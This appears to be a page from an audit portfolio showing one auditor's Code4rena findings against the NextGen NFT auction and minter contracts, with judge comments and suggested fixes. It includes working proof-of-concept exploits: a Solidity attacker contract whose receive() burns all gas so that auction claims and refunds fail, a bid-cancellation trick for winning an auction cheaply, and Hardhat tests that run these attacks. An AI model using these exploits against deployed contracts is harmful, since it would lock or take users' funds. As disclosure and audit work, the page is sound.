NextGen - lanrebayode77's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 3/243

Findings: 3

Award: $2,850.09

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
edited-by-warden
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

The AuctionDemo.cancelBids() function allows bidders to withdraw their bids, but there is a critical issue. It allows the current highest bidder to cancel their bid, potentially manipulating the auction. This vulnerability enables any fraudulent actor to place a low bid, followed by a much higher bid. Shortly before the auction ends, the actor cancels the high bid, leaving the lower bid as the highest when no other bids exist. This risks unfairly winning the auction without a valid competitive bidding process.

Proof of Concept

The admin has just initiated an auction, Alice is interested but wants it at a minimal cost.

  1. Alice quickly makes the first bid with one wei(1 wei).
  2. Alice immediately places a higher bid with 1000 Ether, deterring other bidders.
  3. Discouraged by the perceived high bid, other potential bidders abstain from participating.
  4. As the auction approaches its end, Alice quickly cancels her 1000 Ether bid some seconds before the end of the auction, causing her funds to be returned. https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/AuctionDemo.sol#L124-L130
function cancelBid(uint256 _tokenid, uint256 index) public {
     require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
     require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
     auctionInfoData[_tokenid][index].status = false;
     (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
     emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

From the snippet above, all the conditions will pass and 1000 Ether will be transferred back to Alice, leaving the highest bid to be one wei. 5. With no other bids, Alice's initial one-wei bid emerges as the winning bid.

This maneuver provides Alice with an unfair advantage, as she manipulates the auction dynamics to ensure victory with negligible cost. It's noteworthy that Alice faces no financial risk, as she can always retrieve her funds by canceling the high bid.

Also, from a business perspective, this strategy could be perceived as a potential means for the admin to artificially inflate prices by introducing high bids, compelling other bidders to bid beyond their intended limits.

Note; the malicious actor can make the call with two different addresses, so no foul play will be perceived.

Tools Used

Manual review.

Disallow the cancellation of the highest bid at every point in time.

function cancelBid(uint256 _tokenid, uint256 index) public {
     require(auctionInfoData[_tokenid][index].bid != returnHighestBid(_tokenid), "Not allowed to cancel highest bid");
     require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
     require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
     auctionInfoData[_tokenid][index].status = false;
     (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
     emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Assessed type

Context

#0 - c4-pre-sort

2023-11-15T08:35:45Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-02T15:12:49Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-02T15:16:04Z

alex-ppg marked the issue as duplicate of #1784

#3 - c4-judge

2023-12-07T11:50:09Z

alex-ppg marked the issue as duplicate of #1323

#4 - c4-judge

2023-12-08T17:24:41Z

alex-ppg marked the issue as partial-50

#5 - c4-judge

2023-12-08T17:28:02Z

alex-ppg marked the issue as satisfactory

#6 - c4-judge

2023-12-08T18:14:35Z

alex-ppg marked the issue as partial-50

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The AuctionDemo.claimAuction() function is vulnerable to a Denial of Service (DOS) attack, as an adversary can exploit the operation within the function to cause disruption.

The vulnerability arises from the loop iterating through the entire array of auction participants to refund users who lost the bid to the highest bidder. The attack becomes feasible when an adversary deploys a contract to interact with the Auction Demo contract, participating multiple times in the auction with negligible amounts. As long as the bid amount increases, it satisfies the requirements, enabling the adversary to flood the auction process.

The likelihood of this attack is high since there is no minimum bid set at the beginning of the auction, so no much liquidity is required by the attacker.

Impact: claiming auction will be impossible, refund will be impossible and there is also no way for the protocol admin to recover funds because the contract lacks a method for emergency withdrawal of Ether.

Proof of Concept

AuctionDemo.claimAuction() iterate through auctionInfoData[_tokenid] to refund participants here.

(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

The attacker can exploit a contract's fallback function, triggered when the contract receives Ether, to execute a logic that consumes the entire gas of a transaction. This intentional gas exhaustion results in an out-of-gas error, causing a Denial of Service (DOS) attack. Check the attacker's contract.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";

contract AttackAuction {
    auctionDemo public _auctionDemo;
    address public auction;

    constructor(address _auctionDemoContract) {
        auction = _auctionDemoContract;
        _auctionDemo = auctionDemo(_auctionDemoContract);
    }

    receive() external payable {
        //This unending computation will trigger when contract receives ether
        uint256 ans;
        uint256 ans2;
        for (uint i = 0; i < 1_000_000; ) {
            ans = 1000 * 100 ** 10;
            ans2 = 1000 * 100 ** 10;
        }
    }
     //Calls the AuctionDemo Contract to participate in auction
      function ParticipationInAuction(
        uint256 _tokenid,
        uint256 amount
    ) public payable {
        (bool success, ) = auction.call{value: amount}(
            abi.encodeWithSignature("participateToAuction(uint256)", _tokenid)
        );
        require(success, "Call to Auction failed");
    }

    function claimNFTandStealFunds(uint256 _tokenid) public {
        _auctionDemo.claimAuction(_tokenid);
    }
}

Paste the coded PoC in nexGen.test.js

    it("#Test_Ability_of_Auction_Participant_To_DOS_Claiming_And_Refund", async function () {
      this.timeout(100000000); //Test might take time, so timeout was increased
      const auctionEndTIme = (await time.latest()) + 1000; //Setting Auction end time
      //Admin calls MintAndAuction and set parameters
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _reciever
        '{"tdh": "100"}', //_tokenData
        1, //satfun_o
        3, //collectionID
        auctionEndTIme
      );

      const minIndex = 30000000005;
      const firstBid = 2000000000000000;
      const secondBid = 3000000000000000;
      const thirdBid = 4000000000000000;
      const attackerFirstBid = 100000;
      const attackerSecondBid = 50000;

      const auctionDemoAddress = await contracts.hhAuctionDemo.getAddress();
      const attackerContractAddress =
        await contracts.hhAttackAuction.getAddress();

      // Auction COntract Balance Before Auction
      const auction1 = await ethers.provider.getBalance(auctionDemoAddress);

      // ATTACKER PLACING MULTIPLE DUST BIDS
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 1, {
        value: 1,
      });
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 2, {
        value: 2,
      });
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 3, {
        value: 3,
      });
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 4, {
        value: 4,
      });

      //  First Real BIDDING
      await contracts.hhAuctionDemo
        .connect(signers.addr1)
        .participateToAuction(minIndex, {
          value: firstBid,
        });
      // Second Real BIDDING
      await contracts.hhAuctionDemo
        .connect(signers.addr2)
        .participateToAuction(minIndex, {
          value: secondBid,
        });
      // Third Real BIDDING
      await contracts.hhAuctionDemo
        .connect(signers.addr3)
        .participateToAuction(minIndex, {
          value: thirdBid,
        });

      // Auction Contract Balance After Auction
      const auction2 = await ethers.provider.getBalance(auctionDemoAddress);

      //Check that All bids are in Auction Contract
      expect(auction2).greaterThanOrEqual(
        firstBid + secondBid + thirdBid + 1 + 2 + 3 + 4
      );

      // Check the new Owner of the Token
      const oldOwnerOfNFT = await contracts.hhCore.ownerOf(minIndex);

      //Admins gives AuctionDemo appoval for NFT
      await contracts.hhCore.setApprovalForAll(auctionDemoAddress, minIndex);

      //Fastforward time to End of Auction
      time.increaseTo(auctionEndTIme);
      try {
        await contracts.hhAuctionDemo.claimAuction(minIndex);
        assert.fail("Function did not revert as expected");
      } catch (error) {
        expect(error.message).to.contain("Transaction ran out of gas");
      }

      // Auction Contract Balance After claimAuction was called
      const auction3 = await ethers.provider.getBalance(auctionDemoAddress);
      expect(auction2).equal(auction3); //Refund Failed
      // Auction attacker Contract Balance After Claim
      const auctionAttackerBalAft = await ethers.provider.getBalance(
        attackerContractAddress
      );
      expect(auctionAttackerBalAft).equal(0); //the attacker balance remains zero as refund failed

      // Check the new Owner of the Token
      const newOwnerOfNFT = await contracts.hhCore.ownerOf(minIndex);
      expect(oldOwnerOfNFT).equal(newOwnerOfNFT); //Change of NFT ownership also failed
      console.log(
        "==============================================================="
      );
      console.log("Old NFT Owner:", oldOwnerOfNFT);
      console.log("New NFT Owner:", newOwnerOfNFT);
      console.log("Auction Demo Balance Before Auction Start:", auction1);
      console.log("Auction Demo Balance After End of Auction:", auction2);
      console.log("Auction Demo Balance After Claim:", auction3);
      console.log("Attacker Balance after claim:", auctionAttackerBalAft);
      console.log(
        "================================================================"
      );
    });

Logs:

=============================================================== Old NFT Owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 New NFT Owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 Auction Demo Balance Before Auction Start: 0n Auction Demo Balance After End of Auction: 9000000000000010n Auction Demo Balance After Claim: 9000000000000010n Attacker Balance after claim: 0n ================================================================

Tools Used

Manual review and Hardhat.

Implement a refund() method and allow users who lost bid to claim their funds individually.

Assessed type

DoS

#0 - c4-pre-sort

2023-11-18T13:34:58Z

141345 marked the issue as duplicate of #486

#1 - c4-judge

2023-12-01T22:44:28Z

alex-ppg marked the issue as not a duplicate

#2 - c4-judge

2023-12-01T22:44:46Z

alex-ppg marked the issue as duplicate of #1782

#3 - c4-judge

2023-12-08T20:53:38Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0x3b

Also found by: AvantGard, lanrebayode77

Labels

bug
2 (Med Risk)
satisfactory
sponsor confirmed
sufficient quality report
edited-by-warden
duplicate-381

Awards

2847.3221 USDC - $2,847.32

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L536

Vulnerability details

Impact

Users will have to pay more than usual when minting from a collection that utilizes the Period Model and has a rate set.

Proof of Concept

For sales model 3, the protocol wants the price to increase as minting increases when rate is set. https://seize-io.gitbook.io/nextgen/nextgen-smart-contracts/minter

If the rate is set, then the minting cost price increases based on the tokens minted. In the Period model the rate refers to a percentage that is used to calculate the new price based on the starting price and current minting supply, ex. If the starting cost is 1ETH and the rate is set to 10%, during each minting the price will be increased by 0.1 ETH.

In the bid to achieve that, the code is implemented as seen below: https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L535-L536

if (collectionPhases[_collectionId].rate > 0) {
return collectionPhases[_collectionId].collectionMintCost + ((collectionPhases[_collectionId].collectionMintCost / collectionPhases[_collectionId].rate) * gencore.viewCirSupply(_collectionId));

However, instead of considering only the actual minted tokens, the calculation utilizes the entire circulationSuplly which includes the airdropped tokens, this oversight will abnormally increase the price to be paid by users when minting than it's supposed to be.

A proof that circulationSupply includes airdrops https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L180

collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;

Add this PoC to nextGen.test.js file

    //////////////////MY POC TEST//////////////////////////////
    it("#AIRDROPNFTCol3", async function () {
      const circulatingSupplyBefore = await contracts.hhCore.viewCirSupply(3);
      const price = await contracts.hhMinter.getPrice(
        3 // _collectionID
      );
      //NOTE: Two tokens were previously minted and mintingPrice is 1ETH
      expect(parseInt(price)).equal(1200000000000000000); //
      console.log(
        "Supply After Two Mint and Zero Air-Drop:",
        circulatingSupplyBefore,
        "Price:",
        price
      );

      //AIRDROP
      await contracts.hhMinter.airDropTokens(
        [signers.addr1.address, signers.addr2.address], // _recipients
        ['{"tdh": "100"}', '{"tdh": "200"}'], // _numberOfTokens
        [1, 2], // _varg0
        3, // _collectionID
        [1, 2] // _numberOfTokens
      );

      //CHECK PRICE AFTER AIRDROP
      const Newprice = await contracts.hhMinter.getPrice(
        3 // _collectionID
      );

      //OBSERVE THE INCREASE AS A RESULT OF AIRDROPPED TOKENS
      expect(parseInt(Newprice)).equal(1500000000000000000); //
      const circulatingSupplyAfter = await contracts.hhCore.viewCirSupply(3);
      console.log(
        "Supply After Two Mint and Three Air-Drop:",
        circulatingSupplyAfter,
        "Price:",
        Newprice
      );
    });

Output

Supply After Two Mint and Zero Air-Drop: 2n Price: 1200000000000000000n Supply After Two Mint and Three Air-Drop: 5n Price: 1500000000000000000n

Tools Used

Manual report and Hardhat.

Exclude airdropped tokens from the calculation, as the documentation explicitly specifies that the increase should solely be determined by minted tokens.

To implement this, you can maintain a record of the total airdropped token quantity and deduct that amount from the circulation supply.

Assessed type

Math

#0 - c4-pre-sort

2023-11-16T10:27:14Z

141345 marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-11-16T23:49:08Z

141345 marked the issue as primary issue

#2 - c4-sponsor

2023-11-23T09:05:59Z

a2rocket (sponsor) confirmed

#3 - alex-ppg

2023-12-05T16:48:25Z

I believe this to be a duplicate of #2012 albeit referring to airdropped tokens instead of tokens minted via other means. I will most likely merge, but will keep it separate for now.

#4 - c4-judge

2023-12-07T12:14:29Z

alex-ppg marked issue #381 as primary and marked this issue as a duplicate of 381

#5 - c4-judge

2023-12-08T22:33:01Z

alex-ppg marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter